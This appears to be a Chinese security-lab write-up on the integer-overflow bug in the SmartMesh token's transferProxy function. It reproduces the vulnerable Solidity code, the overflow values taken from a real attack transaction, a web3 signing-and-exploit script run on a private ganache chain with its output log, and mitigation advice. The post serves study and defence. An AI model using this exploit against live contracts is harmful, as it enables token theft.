原理
eth智能合约整数溢出漏洞, 原理是uint256类型当取最大整数值,上溢之后直接回绕返回值为0 , 当取0下溢之后直接回绕,返回值为 2^256-1,这是 solidity中整数溢出场景的常规情况。智能合约可参看:
https://github.com/jige003/blockchainsec/blob/master/eth/overflow_vul/overflow.sol
回顾 smt 整数溢出漏洞
合约代码:
https://github.com/jige003/blockchainsec/blob/master/eth/overflow_vul/smtvul.sol
/*
* Proxy transfer SmartMesh token. When some users of the ethereum account has no ether,
* he or she can authorize the agent for broadcast transactions, and agents may charge agency fees
* @param _from
* @param _to
* @param _value
* @param feeSmt
* @param _v
* @param _r
* @param _s
*/
function transferProxy(address _from, address _to, uint256 _value, uint256 _feeSmt,
uint8 _v,bytes32 _r, bytes32 _s) public transferAllowed(_from) returns (bool){
if(balances[_from] < _feeSmt + _value) revert(); // 此处存在上溢的漏洞, 构造_feeSmt 、 _value 可以绕过
uint256 nonce = nonces[_from];
bytes32 h = keccak256(_from,_to,_value,_feeSmt,nonce);
if(_from != ecrecover(h,_v,_r,_s)) revert();
if(balances[_to] + _value < balances[_to]
|| balances[msg.sender] + _feeSmt < balances[msg.sender]) revert();
balances[_to] += _value;
Transfer(_from, _to, _value);
balances[msg.sender] += _feeSmt;
Transfer(_from, msg.sender, _feeSmt);
balances[_from] -= _value + _feeSmt;
nonces[_from] = nonce + 1;
return true;
}
exp smt上溢漏洞
查看存在漏洞的函数transferProxy 还需要对转账人对这笔交易执行签名, 校验签名的代码如下:
uint256 nonce = nonces[_from]; // 获取随机数
bytes32 h = keccak256(_from,_to,_value,_feeSmt,nonce); // 交易消息摘要生成
if(_from != ecrecover(h,_v,_r,_s)) revert(); //使用ecrecover 校验签名是否属于转账人
使用ganache-cli 搭建eth私链并部署合约, 并使用web3 部署合约, 可参考此脚本 :
https://github.com/jige003/blockchainsec/blob/master/eth/overflow_vul/deploy.js
部署合约后需要记下合约地址,value和feeSmt参数直接复制黑客攻击成功的,参考tx链接:
https://etherscan.io/tx/0x1abab4c8db9a30e703114528e31dee129a3a758f7f8abc3b6494aad3d304e43f 设置value 为:0x8fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 设置feeSmt 为:0x7000000000000000000000000000000000000000000000000000000000000001
使用web3和ethereumjs-util的web3.utils.soliditySha3 消息摘要函数、 ethereumjs-util.ecsign 签名函数生成剩余的参数, 代码如下:
var from = "0x4a886b8a93b07794275fb5b5eaf18e49f7b2c24b";
console.log("address: " + from);
var value = "0x8fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff";
console.log("value: " + value);
var fee = "0x7000000000000000000000000000000000000000000000000000000000000001";
console.log("fee: " + fee);
var hash = web3.utils.soliditySha3(from, from, value, fee, 0);
console.log("Tx hash: " + hash);
var prikey = "0xce0ed217ee599c46a3a850cbaccfbff749771cfccb4577cc943bc9bbed703b3c";
var sig = ethUtils.ecsign(ethUtils.toBuffer(hash), ethUtils.toBuffer(prikey));
var r = "0x" + sig.r.toString('hex');
var s = "0x" + sig.s.toString('hex');
var v = sig.v;
console.log("v: " + v);
console.log("r: " + r);
console.log("s: " + s);
最后调用合约的transferProxy函数exp此合约, exp之前账户地址为0, exp后65133050195990359925758679067386948167464366374422817272194891004451135422463
contract.methods.balanceOf(from).call().then(function( result){
console.log("before exp the addr " + from + " has " + result + " token");
});
contract.methods.transferProxy(from , from, value, fee, v, r, s).send({from: faddr, gasPrice: 72, gas: 209255});
contract.methods.balanceOf(from).call().then(function( result){
console.log("after exp the addr " + from + " has " + result + " token");
});
exp log 如下
address: 0x4a886b8a93b07794275fb5b5eaf18e49f7b2c24b
value: 0x8fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
fee: 0x7000000000000000000000000000000000000000000000000000000000000001
Tx hash: 0xd6b72019dc1b6daf2eb80e22333098028fc5f3d6c8be43e41e86c9bfbc36ecab
v: 28
r: 0x98ea373fb39f352e6a0337e41f8b8f90a0b6197241e3479c5098c9901c3c9dc3
s: 0x16870e9632e8a22f72f37a3ae36a45851e725d02d927f92bd499022d9a0ce4a9
before exp the addr 0x4a886b8a93b07794275fb5b5eaf18e49f7b2c24b has 0 token
after exp the addr 0x4a886b8a93b07794275fb5b5eaf18e49f7b2c24b has 65133050195990359925758679067386948167464366374422817272194891004451135422463 token
完整的exp测试代码链接:
https://github.com/jige003/blockchainsec/blob/master/eth/overflow_vul/expvul.js
漏洞防范
-
使用safemath 库执行基本运算
-
使用assert、 require执行校验
-
代码review
参考链接
https://ethereumdev.io/safemath-protect-overflows/ https://web3js.readthedocs.io/en/1.0/getting-started.html http://www.freebuf.com/vuls/169741.html https://medium.com/loom-network/how-to-secure-your-smart-contracts-6-solidity-vulnerabilities-and-how-to-avoid-them-part-1-c33048d4d17d https://github.com/ethereum/solidity/issues/796#issuecomment-253578925
原文始发于微信公众号(毕方安全实验室):【区块链回归技术】 eth智能合约安全整形溢出漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论